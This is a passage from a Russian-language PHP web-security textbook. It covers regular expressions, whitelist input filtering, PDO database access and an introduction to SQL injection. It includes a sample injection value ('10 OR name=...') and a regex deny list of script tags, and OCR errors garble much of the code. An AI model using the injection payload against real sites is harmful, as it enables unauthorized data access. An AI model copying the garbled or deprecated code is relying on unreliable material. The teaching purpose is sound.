шем примере в этот диапазон попадает число 1 7. 

Иногда возникает необходимость управлять количеством повторяемых: символов. 
Например, если нас интересуют строки, в которых буква А встречается хотя бы 
один раз, то можно написать регулярное выражение А+. Знак «плюс» указывает на 
необходимость присутствия буквы А хотя бы один раз. 

Если после символа указать звездочку ( * ), то это будет означать, что символ может 
встречат�ся любое количество раз или отсутствовать вовсе. Если нужно, чтобы 
символ присутствовал в строке не более одного раза или ни разу, то используйте 
знак вопроса. Например: А?. 
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Можно и более тонко управлять количеством необходимых символов. Для этого 
после символа используются фигурные скобки: 

{минимум [, [максимум] ] } 

Первый параметр - минимальное количество вхождений символа, а второй -
максимальное. Например, следующее выражение соответствует строке, в которой 

буква А встречается от 2 до 5 раз: А{2, 5}. 

Если запятая и второй параметр в фигурных скобках опущены, то регулярному вы
ражению будет соответствовать строка, в которой указанный символ встречается 
столько раз, сколько указано в параметре. Например, следующее регулярное выра

жение соответствует трем буквам А: А { з ! . 

Если в скобках отсутствует второй параметр, но присутствует запятая, то символ 
должен встречаться в строке не меньше минимального количества раз, но без огра
ничения. Например, следующее регулярное выражение соответствует строке, в ко

торой имеется 5 и более букв А: А{5, }. 

Рассмотрим пример: 

$text= "2511111111"; 

$newtext = ereg_ replace ( "51 { 4, } ", "ХХ", $text) ; 

Здесь в строке "2511111111" мы ищем символ "5", за которым следует любое коли
чество единиц, большее или равное 4. Найденная строка заменяется двумя симво

лами х. В этом примере на выходе мы получим строку "2ХХ". 

Очень интересного эффекта можно добиться с помощью скобок. Допустим, что 
нужно найти букву А, за которой может идти (а может, и нет) последовательность 

символов bcd. Для этого пишем нужную букву, а затем в круглых скобках указыва

ем возможную последовательность символов: А (bcd). 

Что еще интересного в скобках? Рассмотрим следующий пример, в котором с по

мощью функции ereg () дата разбивается на составляющие, а заодно увидим на 
практике, как работать с этой функцией: 

$date = "01/09/2016"; 

$newtext = ereg("([0-9] {1,2})/([0-9] {1,2})/([0-9] {2,4))", 

$date, $regs); 

print("<p>Param О $regs[0] </р>"); 

print("<p>Param 1 $regs[l] </р>"); 

print("<p>Param 2 $regs[2] </р>"); 

print("<p>Param 3 $regs[З] </р>"); 

В переменную Sdate записываем произвольную дату. Следующей строкой мы раз
биваем эту дату на составляющие с помощью функции ereg () . Давайте проанали
зируем регулярное выражение. Для удобства будем рассматривать его по частям. 

В первых круглых скобках указано ( [ о-9 J { 1, 2} ) . В квадратных скобках здесь пока
зано, что мы ищем число от О до 9. Затем в фигурных скобках указывается количе
ство повторений цифры. Для даты и номера месяца может потребоваться от 1 до 
2 цифр. Вторые круглые скобки описывают месяц, и это описание идентично чис-
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лу. В последних скобках описывается год, и тут количество повторений цифр от 2 
до 4. Между скобками стоит знак-разделитель даты, т. е. слеш. 

После разбиения на экран выводится . содержимое массива, который передавался 
в последнем параметре: 

Param О 01/09/2016 
Param 1 01 
Param 2 09 
Param 3 2016 

Здесь видно, что нулевой элемент массива - копия разбиваемой строки. Осталь

ные элементы - это составляющие даты. Функция ereg () разбила дату на три со
ставляющие в соответствии с расставленными круглыми скобками. Все, что вне 
этих скобок (слеш), было отброшено. 

Такое описание даты не совсем корректно, потому что мы легко можем написать 
следующую дату: 99/99/9999. Но это недопустимо, ведь число не может быть 
больше 31, а месяц не может превышать 12. Более корректным будет следующее 
регулярное выражение (пример показан для формата ММ/ДД/ГГГГ): 

( [1]? [0-9]) / ( [1-3]? [1-9]) / (20 [0-9] [0-9]) 

Теперь месяцу соответствует следующее выражение: [1 J? [0-9]. Чтобы понять его, 
нужно разбить его на две части: 

□ [ 1 J ? означает, что в начале может идти единица;

□ [О-9] - второе число может быть от нуля до 9.

Такое выражение уже лучше, потому что максимальное значение, которое можно 
будет поместить в дату: 19/39/2099. Это ближе к действительности, хотя тоже на
рушает правильность даты. 

Есть еще несколько символов, которые позволят нам сделать регулярное выраже
ние более универсальным. К таким символам относятся: 

□ точка - заменяет любой одиночный символ. Допустим, что вы не знаете, ка!<
пишется слово: script или skript (вы сомневаетесь во второй букве). Проблема
решается заменой сомнительной буквы на точку. В этом случае в результат по
падут обе строки;

□ если нужно указать, что буквы должны быть в начале строки, то перед ними
нужно поставить символ л. Например, следующее регулярное выражение будет

соответствовать всем строкам, начинающимся на букву А: лд;

□ знак , доллара указывает на конец строки. Например, следующее регулярное

выражение соответствует любому слову, которое заканчивается на z: z$.

Как видите, в регулярных выражениях много символов, которые являются служеб
ными. Допустим, что у нас есть строка: "[В] Hello [ /В] world from [В] РНР [/В]". Как 
заменить последовательность символов [BJ НТМL-тегом <В>? Если написать сле
дующий код, то ничего не выйдет: 

$text= "[B]Hello[/B] world from [В]РНР[/В]"; 
$newtext = ereg_replace("[B]", "<В>", $text); 
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Регулярное выражение [BJ просто соответствует букве В, а квадратные скобки вос
принимаются как служебные символы. Чтобы они также участвовали в поиске, не
обходимо перед каждой из них поставить знак слеша. Следующий код уже удачно 
произведет все необходимые замены: 

$text= "[B]Hello[/B] world from [В]РНР[/В]"; 

$newtext = ereg_replace("\[B\]", "<В>", $text); 

$newtext = ereg_replace("\(/B\]", "</В>", $newtext); 

echo ($newtext); 

Я не зря привел такой пример, ведь в Интернете очень часто используются теги 
в квадратных скобках вместо угловых, а потом квадратные скобки программно 
подменяются угловыми. Зачем? Дело в том, что посетителю иногда нужно дать 
возможность выделять шрифтами или стилями определенные участки текста. Для 
этого приходится разрешать угловые скобки, чтобы посетитель мог ставить теги. 
Но где гарантия, что он будет применять только разрешенные конструкции? Как 
запретить все теги, кроме форматирования? 

Отличный вариант - использовать вместо угловых скобок что-то иное - напри
мер, квадратные скобки, и заменять это НТМL-тегами программно. Таким образом, 
запрещенными будут все теги, а разрешенными - только те заменители, которые 
вы реализовали программно. 

Теперь у нас достаточно информации, чтобы создать какое-нибудь более интерес
ное регулярное выражение. Рассмотрим адрес электронной почты как простой, но 
очень интересный пример. 

Для начала необходимо понять, какие символы можно использовать в строке. 

В электронном адресе могут быть любые буквы латинского алфавита, цифры, под
черкивание, тире или точки. Таким образом, регулярное выражение будет выгля
деть следующим образом: 

л([a-zA-Z0-9\._\-]+@[a-zA-Z0-9\._\-]+(\. [a-zA-Z0-9]+)+)*$ 

Чтобы проще было понять шаблон, давайте его разберем по частям: 

□ л ( [a-zA-Z0-9\. _ -J + - в начале строки до символа @ идет имя пользователя поч
тового ящика. Здесь могут быть любые разрешенные символы, но при этом
должно получиться имя хотя бы из одного символа, поэтому в конце указан

знак+;

□ [a-zA-Z0-9\._-J+- имя сервера, которое идет после символа@, также обязано
присутствовать, и оно должно содержать те же символы, поэтому эта часть ана
логична имени пользователя;

□ (\. [a-zA-Z0-9] +) *$ - имя домена. Здесь могут быть цифры и буквы. В Интер
нете мы работаем с буквенными именами доменов, но в локальных сетях иногда
встречаются и цифровые. При этом имя домена является необязательным, и об

этом говорит символ *.

Как видите, использовать регулярные выражения не так уж и трудно. Простейшие 
шаблоны можно создать достаточно быстро, хотя над сложными придется попа-
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теть, и даже есть угроза ошибиться, что может сказаться на безопасности сценария. 
Чтобы облегчить жизнь программистам, в РНР есть классы регулярных выражений, 
которые соответствуют наиболее часто используемым шаблонам. Рассмотрим та
кие выражения: 

□ [ [: digi t: J J - соответствует любым цифрам, т. е. является эквивалентом регу
лярного выражения [0-9];

□ [ [: alpha: J J - соответствует любым буквам, т. е. является эквивалентом регу
лярного выражения [A-Za-z];

□ [ [ :alnum: J J - соответствует любым буквам или цифрам, т. е. является эквива-
лентом регулярного выражения [A-Za-z0-9].

Следующий пример показывает, как в строке заменить все цифры символом Х: 

Stext= "13hkl3213lh"; 
Snewtext = ereg_replace("[[:digit:]]", "Х", Stext); 

3.6.3. Использование регулярных выражений Perl 

До появления РНР основным языком для Сети был Perl, и у него способ написания 
регулярных выражений немного отличается от того, который приняли на вооруже
ние в РНР. Переписывать все регулярные выражения не очень удобно- намного 
проще использовать то, что уже существует и отлажено. 

Если вы имели опыт программирования на Perl, то вам удобнее будет использовать 
именно эти шаблоны, к тому же они предоставляют больше возможностей. Все 
опции мы рассмотреть не сможем, но на основных остановимся максимально по
дробно. 

Некоторые специалисты утверждают, что Реrl-выражения работают в несколько раз 
быстрее, чем выражения РНР. Я не берусь поддерживать это утверждение, а мои 
проверки не показали особой разницы. 

На этот раз мы будем действовать в обратном порядке: сначала узнаем, как писать 
регулярные выражения, а потом уже обсудим функции, которые можно использо
вать. Да, функции для работы с регулярными выражениями Perl отличаются от 
функций РНР, и их мы рассмотрим в следующем разделе. 

Регулярные выражения Perl заключаются между двумя слешами. Например, сле
дующий шаблон соответствует слову hacker: /hacker /. 

После шаблона могут указываться модификаторы в следующем виде: 

/шаблон/модификаторы 

Модификаторы представляют собой буквы, которые влияют на регулярное выра
жение. Наиболее популярными модификаторами Perl являются i и х. Рассмотрим 
их на примерах. 

□ i - игнорировать регистр букв. Это значит, что регулярное выражение
/hacker/i будет соответствовать словам hacker, НАСКЕR, HacKer и т. д.;
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□ х - игнорировать в шаблоне пробелы, переводы строк и комментарии. Послед
ние сделают код шаблона более читабельным. Например:

/ 
hacker 
/х 

# Начало 
# Искомое слово 
# Конец выражения и модификатор х 

□ m - по умолчанию текст рассматривается как одна строка, но если указан этот
модификатор, то можно использовать многострочный текст.

Можно указывать сразу несколько модификаторов. 

В регулярных выражениях Perl большое значение имеет обратный слеш. В табл. 3 .1 
представлены различные варианты использования этого символа. 

Таблица 3.1. Использование обратного спеша в регулярных выражениях Per1 

Ограничение Описание 

\Ь Граница слова 

\В Отсутствие границы слова 

\А Начало строки 

\Z Конец строки или перевод каретки 

\z Конец строки 

\d Десятичная цифра 

\D Любой символ, кроме десятичной цифры 

\s Пробел или символ табуляции 

\S Все, кроме пробела 

\n Символ перевода каретки (символ с кодом 13) 

\r Символ возврата каретки (символ с кодом 10) 

\t Символ табуляции (символ с кодом 9) 

\w Символ, который используется в словах, - буквы, цифры и подчеркивание 

\W Все, кроме символов, используемых в словах 

\xhh Позволяет задать символ через его шестнадцатеричный код. Например, для 
задания латинской буквы А нужно написать \х41 

Итак, \ имеет специальное значение, но если необходимо указать этот символ, не 
вкладывая в него смысла регулярного выражения, то укажите его дважды. 

Рассмотрим пример. Допустим, что нам нужно указать три последовательно иду
щие цифры. Для этого можно использовать следующее регулярное выражение: 

/\d\d\d/ 

То же самое можно записать иначе: 

/\d{З}/ 
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Теперь посмотрим, как можно создать шаблон из цифры, буквы и цифры: 

/\d\w\d/ 
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Усложним задачу. Допустим, что необходимо найти строку, в которой вначале идут 
от 3 до 5 символов, затем пробел и далее от 3 до 7 цифр. Регулярное выражение 
будет таким: 

/[A-Z]{З,7}\s\d{З,4} / 

На мой взгляд, ключи \ менее наглядны, но ко всему можно привыкнуть. 

Как и в регулярных выражениях РНР, в Реrl-шаблонах можно использовать точку, 
которая означает любой одиночный символ. 

В регулярных выражениях Perl можно использовать и квадратные скобки для зада
ния диапазона возможных значений. Вот регулярное выражение, которое соответ

ствует любым цифрам и заглавным буквам: / [0-9A-ZJ /. А следующий пример пока
зывает, как заменить в строке символы, входящие в диапазон, символом Х с по

мощью функции preg_ replace () : 

$text= "13 EK_-hklЗFRЗlh"; 

$newtext = preg_replace("/[0-9A-Z]/", "Х", $text); 

echo ($newtext); 

Символ л означает отрицание. Если необходимо заменить символом Х все, кроме 

цифр 1, 2 и 3, то используем шаблон /[л 12ЗJ /: 

$text= "13_54hkl3FR3lh"; 

$newtext = preg_replace("/[лl23]/", "Х", $text); 

echo ($newtext); 

Как видите, работа с регулярными выражениями в стиле Perl и РНР очень похожа. 

3.6.4. lункции регулярных выражений Perl 

В этом разделе нам предстоит познакомиться с функциями для работы с регуляр

ными выражениями Perl. Да, функции отличаются от тех, что мы рассмотрели 
в разд. 3.6.1, но некоторые из них очень схожи. Одну из таких функций мы уже 

рассматривали и не раз использовали - это preg_ replace () . 

Функция preg_match() 

Функция ищет в строке соответствие регулярному выражению, как функция ereg () 

для регулярных выражений РНР. В общем виде она выглядит следующим образом: 

int preg_rnatch( 

string pattern, 

string subject 

[, array matches] 
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У функции три параметра, и первые два из них являются обязательными: 

□ pattern -регулярное выражение;

□ subject - строка, в которой происходит поиск;

□ matches - переменная, в которую будет помещен массив найденных значений.
Если· регулярное выражение разбито на части с помощью круглых скобок, то
строка разбивается в соответствии с регулярным выражением и помещается
в массив. Нулевой элемент массива -копия строки.

Эта функция очень удобна для проверки, соответствует ли файл определещюму 

шаблону. Например, если вы хотите проверить соответствие переменной $server 
шаблону электронного почтового адреса, то можно выполнить следующий код: 

$r=preg_match( 
";л ( [a-zA-Z0-9\. _ -] +@ [a-zA-Z0-9\. _ -] + ( \. [a-zA-Z0-9] +) *$/", 
$server); 

if ( !$r) 
diе("Ошибка формата почтового ящика"); 

lункция preg_motch_o/1() 

Функция preg_ match _all () работает как preg_ match (), но при этом позволяет задать 
порядок, в котором ищутся соответствующие шаблону подстроки. В общем виде 
функция выглядит так: 

int preg_match_all( 
string pattern, 
string subject, 
array matches 
[, int order] ) 

У функции четыре параметра, и первые три из них являются обязательными: 

□ раttеm-регулярное выражение;

□ subject - строка, в которой происходит поиск;

□ matches -переменная, в которую будет помещен массив найденных значений.
Если регулярное выражение разбито на части с помощью круглых скобок, то
каждый элемент массива будет содержать найденное соответствие определенной
скобке регулярного выражения;

□ order -порядок размещения строк в результирующем массиве. Этот параметр
может принимать значения:

• PREG _ PATERN _ ORDER - нулевой элемент будет массивом полных соответствий
шаблону. Остальные элементы соответствуют найденным подстрокам со
гласно разбиению круглыми скобками;

• PREG _ SET _ ORDER - результаты поиска будут находиться в массиве matches, на
чиная с нулевого символа.
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Если соответствие найдено, то функция возвратит true, иначе результат будет 

равен false. 

lункция preg_split{) 

Функция preg_split () разбивает строку на части в соответствии с регулярным вы
ражением и возвращает массив строк, как функция spli t ( ) для РНР. В общем виде 
она выглядит так: 

array preg_split( 
string pattern, 
string subject 
[, int limit 
[, int flags]] 

Посмотрим на параметры функции: 

□ pattern - регулярное выражение;

□ suЬj ect - строка, в которой происходит поиск;

□ limi t - ограничение количества найденных значений;

□ flags - здесь можно указать PREG_SPLIT_NO_EMPTY. В этом случае функция вер
нет только непустые строки.

3.6.5. Проверка e-mail 

Достаточно популярная задача, с которой приходится сталкиваться в повседневной 
жизни, - проверка корректности адреса e-mail. Мы не будем проверять, существу
ет ли такой адрес или нет, да и не нужно это. В большинстве случаев вполне доста
точно проверить, чтобы формат строки соответствовал формату e-mail. 

Такую проверку легко выполнить с помощью регулярного выражения, и в Интер
нете предлагается много готовых решений. В РНР тоже есть функция, которая 
может нам помочь: filter_var (), и я рекомендую использовать ее: 

$email = $_GET ["emёiil"]; 
if (!filter_var($email, FILTER_VALIDATE_EМAIL)) 

// E-mail неверный 

З. 6. 6" Советы по использованию 

регумрных выражений 

Используйте регулярные выражения для проверки вводимых пользователем дан
ных или для осуществления замены. Какой именно метод выбрать, зависит от лич
ных предпочтений и ситуации. Иногда удобнее и проще написать РНР-регулярное 
выражение, а иногда Perl. Выбирайте то, что вам нравится, и то, что вы лучше знае
те, если при этом обеспечиваются все необходимые проверки. 
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Однажды я видел великолепную программу, созданную на языке Basic, которая 
решала сложные задачи. Это искусство, потому что программист хорошо знал свое 
дело и нашел нужное решение с помощью простого языка. 

Если можно решить задачу регулярными выражениями РНР и вы их освоили 
в достаточной степени, то применяйте их и не пытайтесь использовать Perl только 
из-за того, что эти шаблоны мощнее. 

До предела упрощайте задачу, чтобы меньше была вероятность ошибиться. Если 
вы допустите ошибку, то это окажется очередной «дырой» в защите. Создавайте 
максимально жесткие регулярные выражения, чтобы у пользователей бьmо меньше 
возможностей для импровизации. Необходимо действовать от запрета и фильтро
вать все нежелательные символы. 

З. 7. Что и как срильтровать? 

В разд. 3.5 мы говорили о том, где нужно фильтровать вводимые пользователем 
данные, и пришли к выводу, что это должно происходить в сценарии. Там же мы 
узнали о том, какими средствами может производиться фильтрация, и для этого 
в разд. 3.6 познакомились с регулярными выражениями РНР и Perl. В этом разделе 

мы перейдем к практической части и на примерах увидим, что и как нужно фильт
ровать. 

Прежде чем мы· начнем рассма'tривать примеры, необходимо четко понять, как 
будет происходить разрешение или запрет определенных символов. Большинство 

начинающих программистов станут писать регулярные выражения, в которых за
прещаются определенные символы, а все остальное будет разрешено. Опытный 
программист, нацеленный на безопасность, станет действовать наоборот - запре
щать все, что явно не разрешено. 

Почему безопаснее следовать правилу «что не разрешено, то запрещено»? Дело 

в том, что поштучно запретить все невозможно, и вы обязательно что-то упустите. 
Например, вы хотите разрешить использование только НТМL-тегов <В>, <I>, <U>. 

Для этого можно написать регулярное выражение, запрещающее все опасные теги: 

$id=ereg_ replace ( "<SCRIPТ> 1 <VВSCRIPT> 1 <JAVASCRIPТ>", "", $id) ; 

Но где гарантия, что вы указали в регулярном выражении все запрещенные теги? 
А вдруг завтра появится новый, которого нет в списке? Развитие Сети не стоит на 
месте, и постоянно возникают все новые теги, которые могут стать опасными, а 

в вашем регулярном выражении они не учтены. Намного проще запретить все, 
кроме явно указанного: 

<?php 
$str = "<I><STRONG>Hello <В> World<SCRIPТ>"; 
$str=ereg_replace("<[ лBIU]>", "", $str); 
print ($str); 

?> 
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В этом примере запрещается любой тег, кроме <В>, <I> и <U>. Если в HTML появит
ся новый тег, то по умолчанию он будет запрещен, пока вы его не добавите в выра
жение [ лвru]. 

Для того чтобы понять, что фильтровать, необходимо четко представлять себе, что 
будет передаваться через параметры. Например, у вас на форме есть поля ввода для 
следующих данных: фамилия, имя, отчество, пол, дата рождения, возраст и приме
чание. Давайте рассмотрим каждое из полей и определим, какие символы можно 
разрешить к вводу: 

□ фамилия, имя и отчество - эти три поля являются текстовыми и могут содер
жать любые буквенные символы. Все остальное должно быть запрещено. Следо
вательно, регулярное выражение для этих полей должно выглядеть так:

$s tr=ereg_replace ( 11 [лa-zA-Z] 11, 1111, $str);

Здесь мы запрещаем все, кроме букв от А до Z в нижнем и верхнем регистрах.
При этом мы не пытаемся указать все запрещенные символы, и нам не нужно
молиться, что мы ничего не забыли;

□ пол - может принимать одно из значений: мужской или женский. Все осталь
ное должно беспощадно обрезаться. Чаще всего пол сокращают до одной буквы:
М или Ж, поэтому регулярное выражение может выглядеть следующим обра
зом:

$str=ereg_replace( 11[лМЖ] 11, 11 11, $str);

В результате все символы, кроме указанных двух букв, будут удаляться из пара
метра;

□ дата рождения - здесь должно обрезаться все, кроме цифр и символа, точки,
которая используется для разделения числа, месяца и года:

$str=ereg_ replace ( 11 [ ло-9.) 11, 1111, $str) ;

□ возраст - это число, а значит, в нем не должно быть ничего, кроме цифр:

$str=ereg_ replace ( 11 [л О-9) 11, 
'"'

, $str);

□ примечание - это самая сложная переменная, потому что она представляет
собой текст, который может ввести посетитель. Как минимум здесь вы
должны запретить любые теги, и это лучше сделать с помощью функции
htmlspecialchars () . Но сейчас просто для примера мы решим проблему простым
шаблоном RegEx (это только пример- лучше все же nросто заменять< и> или
пользоваться htmlspecialchars ):

$str=e·reg_replace( 11<[A-Z] {1, }> 11, 1111, $str); 

Теперь поговорим о том, когда нужно производить проверку параметров? На этот 
вопрос я всегда отвечаю так: «Я предпочитаю это делать в самом начале файла 
сценария и сразу же при получении данных». Не откладывайте на потом то, что 
можно сделать сразу же. 

Очень много уязвимостей возникает, когда программисты в своем коде убирают 
лишние символы только в момент использования. Но одна переменная может 
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встречаться в сценарии несколько раз, и бьmи случаи, когда в одном месте про
граммист очищал переменную от опасных символов, а в другом забывал это сде
лать. Чтобы такого не произошло, я всегда очищаю переменные от лишних симво
лов в самом начале сценария. То есть мой сценарий выглядит следующим образом: 

<?php 

Убираем потенциально опасные символы из всех переменных, 

полученных от пользователя 

Код сценария 

?> 

В этом случае под сценарием я понимаю не файл с кодом целиком, а больше метод. 
Это сайты из одной-двух страниц могут содержать все в одном файле. А в реально
сти чаще приходится писать большие сайты, где код нужно как-то группировать, 
создавать классы и использовать паттерны типа МVС, в которых код отделяется от 
представления. Но пока мы пишем небольшие примеры, мне приходится для эко
номии смешивать РНР-код с НТМL в одном файле, чтобы примеры выглядели как 
можно проще. 

Мой подход далеко не все считают верным, потому что я безвозвратно теряю 
информацию. Есть рекомендация экранировать все уже при выводе информации. 
Например, пользователь может отправить на сервер строку: 

Я использую эту строку: <script> 

Это может быть даже не попытка взлома, а вполне легальная строка. Мне через 
форму обратной связи на сайте отправляют много различных примеров кодов, и не 

всегда это попытки взлома. Если экранировать <script> сразу, то в базе данных 

будет сохранен результат &lt;script&gt;. Так вот, противники моего подхода гово
рят, что я потерял информацию и больше не могу восстановить ее оригинальный 
вид. Это правда, и я готов с этим мириться, зато я могу смело использовать эту 
строку из базы данных на странице и не бояться, что что-то пойдет не так. 

Намного более весомым может быть аргумент в пользу изменчивости мира. Сего
дня строка должна экранироваться так: 

Я использую эту строку: &lt;script&qt; 

А завтра экранирование должно будет стать другим, и за счет того, что я потерял 
оригинальную строку, я уже не смогу экранировать по-новому. Но я иду на этот 
риск осознанно, потому что не думаю, что такое изменение правил экранирования 
произойдет. 

Конечно, могут появиться новые символы, которые нужно будет экранировать, 
и если это делать при выводе данных, то можно только обновить функцию экрани
рования при выводе данных и спать спокойно, а в моем случае придется что-то 
придумывать. Пока этого не происходило, но даже если произойдет, у меня есть 
запасной план: можно, в конце концов, добавить экранирование перед выводом на 
страницу, а можно обновить экранирование до сохранения в базу и подправить 
существующие данные с помощью SQL. 
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Итак, допустим, что у меня на сайте есть форма Обратная связь, через которую 
посетители могут оmравлять мне сообщения. В РНР-коде я создам класс 

contactUsModel, отвечающий за отправку сообщений, и в нем метод типа 

SendМessage. В этом методе в самом начале я как раз и стану делать все проверки. 
Код будет выглядеть примерно так: 

<?php 

<? 

class ContactUsModel { 

puЫic function validate() 

// Здесь будет проверка всех данных, что они корректны. 

?> 

// Например, если пользователь должен указать свой e-mail, 

// то стоит проверить, что у e-mail корректный формат. 

return true; 

puЬlic function SendМessage() 

i� ($this->validate()) { 

// Здесь будет отправка сообщения. 

Для того чтобы очистить параметры от всего опасного, я использую примерно сле
дующий код: 

$param = рrеg_rерlасе("Регулярное выражение", "", $param); 

Здесь $param - это имя переменной, которую нужно очистить от опасных симво
лов. Регулярное выражение зависит от тиnа переменной и содержащихся значений, 
а в качестве замены выступает «пустая» строка. Результат сохраняется в ту же 
самую переменную, и если до того в ней были какие-то «грязные» даIJные, то они 
теряются, и «грязная» переменная перестает существовать. 

Можно сохранять результат очистки в новую переменную, но останется вероят
ность, что вы по ошибке воспользуетесь rде-10 ((Грязной» переменной. 

Для часто используемых регулярных выражений я создаю отдельную функцию, а 

не вызываю функцию preg_ replace () напрямую - например, так: 

function prepare_param($param) 

{ 

return ereg_replace("[ л0-9.]", 

$name = prepare_param($name); 

"" 

' $param); 

Мы еще не раз будем использовать подобный вид проверки, потому что он позво
ляет лучше управлять одинаковыми шаблонами для многих переменных. Допус
тим, на форме ввода могут быть три поля, данные которых должны удовлетворять 
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определенному требованию (например, содержать только буквы). Если в коде три
жды писать одно и то же регулярное выражение, то, если потребуется модернизи
ровать его, нужно будет искать каждое его вхождение с последующим изменением. 
В случае использования функции вы можете легко наращивать и изменять ее воз
можности, а все изменения будут влиять на все переменные, которые проверяются 
этой функцией. 

При использовании централизованной проверки параметров можно обойтись и без 
функций, но иногда функции действительно упрощают сопровождение вашей про
граммы. В своих проектах я часто создаю класс Validationмoctel, в котором собра
ны методы для осуществления различных проверок. 

З. 8. Базы данных 

Существует несколько СУБД ( систем управления базами данных) или просто БД, 
и все они работают примерно по одному принципу, но каждая поддерживает свои 
особенности. Рассмотреть все невозможно, да и не имеет смысла, поэтому остано
вимся только на самой популярной сейчас - MySQL. Она получила широкое рас
пространение благодаря открытости, бесплатности и высокому качеству. Несмотря 
на то что мы ограничимся лишь одной базой, весь рассматриваемый материал 
в равной степени можно отнести и к другим БД. 

Неправильное обращение с запросами может привести к потере базы данных или 
даже контроля над сайтом. Чаще всего проблема кроется в неправильном получе
нии данных от посетителя, а точнее - в получении этих данных без проверки кор
ректности. Но давайте обсудим все по порядку: сначала рассмотрим принцип рабо
ты с базами в РНР, а потом уже поговорим об уязвимостях. 

З. 8 .1. Основы баз донных 

Для доступа к базам данных в РНР используется класс РОО (РНР Data Objects, 
Объекты данных РНР). Взглянем на простой пример: 

<?php 
$с:IЬ = new PDO('mysql:host=l27.0.0.l;c:1Ьname=test', 'User', Pass', 

array(PDO::MYSQL_ATTR_INIT_COММAND => 'SET NAМES utf8')); 

$query = $c:IЬ->prepare('select * from TestTaЬle'); 
$query->execute(); 
if (($line = $query->fetch(PDO::FETCH_ASSOC)) != FALSE) 

print_r ($line); 
print ( '<hr/> <р>' . $line [ 'CityName') . '</р>'); 

else { 
print ('Ничего не найдено') ; 

?> 
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«А пример не такой уж и простой», - скажете вы. Возможно, но не так страшен 
черт, как он кажется на первый взгляд. Давайте разбираться. 

Сервер базы данных - это отдельная программа, которая работает независимо от 
веб-сервера. Чтобы организовать общение между этими двумя программами, здесь 
используется сетевое подключение «клиент-сервер». Клиент - РНР-сценарий, 

работающий под управлением веб-сервера, а сервер - база данных MySQL. Под

ключение устанавливается с помощью класса PDO ( ) , которому в нашем случае 
передаются четыре параметра: 

□ DSN-cтpoкa (Data Source Name, имя источника данных), в которой указываются
тип сервера, имя базы данных и адрес сервера;

□ имя пользователя;

□ пароль;

□ дополнительные параметры в виде массива. Для того чтобы можно бьmо рабо
тать с русским языком, я бы порекомендовал использовать кодировку UTF-8.
Именно это и устанавливается в последнем параметре.

Результат создания я сохранил в переменной $dЬ - это будет объект, через кото
рый можно создавать запросы. И именно это делается в следующей строке, когда 

вызывается метод prepare для подготовки запроса к базе данных на выполнение: 

$dЬ->prepare('select * from TestTaЬle') 

Теперь запрос можно выполнить с помощью метода execute. Если все прошло 
успешно, можно начинать читать полученные из базы данные с помощью метода 

fetch. Если метод fetch возвращает FALSE, то ничего не найдено. Иначе результатом 
будет массив, структура которого зависит от переданного параметра. Возможные 

значения параметра: 

□ PDO: : FETCH _ дssoc - в качестве результата будет получен массив, к значениям
которого можно получить доступ через имена колонок;

□ PDO: : FETCH _ вотн - доступ к значениям массива можно получить по имени ко-
Ш.1НКИ или по номеру.

В приведенном примере используется первый вариант - я больше предпочитаю 

обращаться к колонкам по именам. Запрос или таблица могут измениться, а колон

ки переименовывают очень редко. В моем примере используется таблица Теstтаые, 

у котороfi есть колонка CityName, - соответственно к значению колонки можно об

ратиться по имени: $line [ 'CityName' J. 

При работе с базами данных с помощью старых функций по умолчанию ошибки 

выводятся на страницу, что не очень хорошо. В случае с классом PDO ошибки ото
бражаться не станут, и сценарий будет продолжать выполняться, как будто ничего 
не произошло. Попробуйте в SQL-зaпpoc поместить какой-нибудь «мусор» - сце
нарий завершит работу, как будто никаких проблем не возникало, просто на стра

нице не будет никаких данных из базы. 
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Чтобы увидеть на странице ошибку, можно заглянуть в журнал транзакций, можно 

также в РНР с помощью метода errorinfo () получить массив, в котором будет под
робно описана ошибка. Например, добавцм к имени таблицы число 1: 

$query = $dЬ->prepaie('select * from TestTaЫel'); 

Если такой таблицы в базе данных в действительности не будет, то ошибку можно 

отобразить на странице: 

print_r($query->errorinfo()); 

В результате на странице можно увидеть: 

Array ( [О] => 00000 [1] => 1146 [2] => ТаЫе 'test.testtaЫel' doesn't exist) 

В этом массиве под индексом 1 находится код ошибки, а под индексом 2 - тексто

вое описание: Таблица 'test. testtaЫel' не существует. 

Э. 8. 2. А тока SQL Injection 

Самая распространенная атака хакера на базу данных - SQL Injection, при которой 
хакер вместо определенного параметра вставляет в строку URL SQL-зanpoc, и про
грамма выполняет этот запрос. Если злоумышленник сможет выполнять SQL
команды на сервере, ему достаточно будет узнать имена таблиц, имеющихся в базе 
данных, чтобы уничтожить все данные командой: 

DELETE FRCМ Имя Таблицы 

Для понимания последующего материала вам необходимо знать основы языка за

просов SQL-92, потому что это основной способ доступа к данным. Желательно 
также знать специфичные возможности конкретного сервера баз данных, но команд 
из стандарта SQL-92 ( они будут работать на любом сервере) вполне достаточно для 
понимания материала этой книги. 

Давайте рассмотрим, как хакеры производят атаку SQL Injection, т. е. как они ищут 
подобную уязвимость на сервере, и как такая атака реализуется. Допустим, что 

у вас есть таблица пользователей users, состоящая из трех полей: id, name, pas�word. 

Запрос на выборку данных может иметь следующий вид: 

SELECT * FROM Users WHERE id = $_GET[id] 

В этом запросе поле id сравнивается со значением переменной. Если эта перемен
ная получена как параметр сценария через URL или cookie и нет никаких проверок 
на запрещенные символы, то запрос уязвим. Начнем с простейшего примера того, 
как хакер может модифицировать запрос. Ваш сценарий ищет в таблице строку 
с параметрами пользователя по ее идентификатору. А если передать в качестве 

переменной $_GET[idJ следующий текст: 10 OR nаmе="Администратор", то запрос бу
дет выглядеть уже так: 

SELECT * FROM Users 

WHERE id = 10 OR nаmе="Администратор" 
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Эrот запрос покажет уже не только запись, в которой поле id равно 1 О, но и запись, 
в которой имя пользователя равно "Администратор". Таким образом, хакер сможет 
увидеть пароль администратора и получить доступ к запрещенным данным. 

Чтобы этого не произопmо, программисты начинают фильтровать входные данные. 
Теоретически это работает, если правильно фильтровать. Однако для этого нужно 
знать, какие данные ожидает программа. Например, поле id - эrо числовое поле, а 
значит, в переменной не может быть ничего, кроме цифр от О до 9. Переменную 
$name можно обработать, как показано в следующем примере: 

<form action="dЫ.php" rnethod="get"> 
<input name="id"> 

</form> 

<?php 
$id=preg_replace ("/ [ лО-9] /", "", $_GET[ 'id']); 
print('SELECT * FROM Users WHERE id=' . $id); 

?> 

Сохраните этот код на сервере в файле dbl .php и попробуйте загрузить его в веб
браузер. Перед вами должна появиться форма для ввода идентификатора, по кото
рому будет происходить поиск. Попробуйте ввести в нее: 10 OR nаmе="Администратор" 
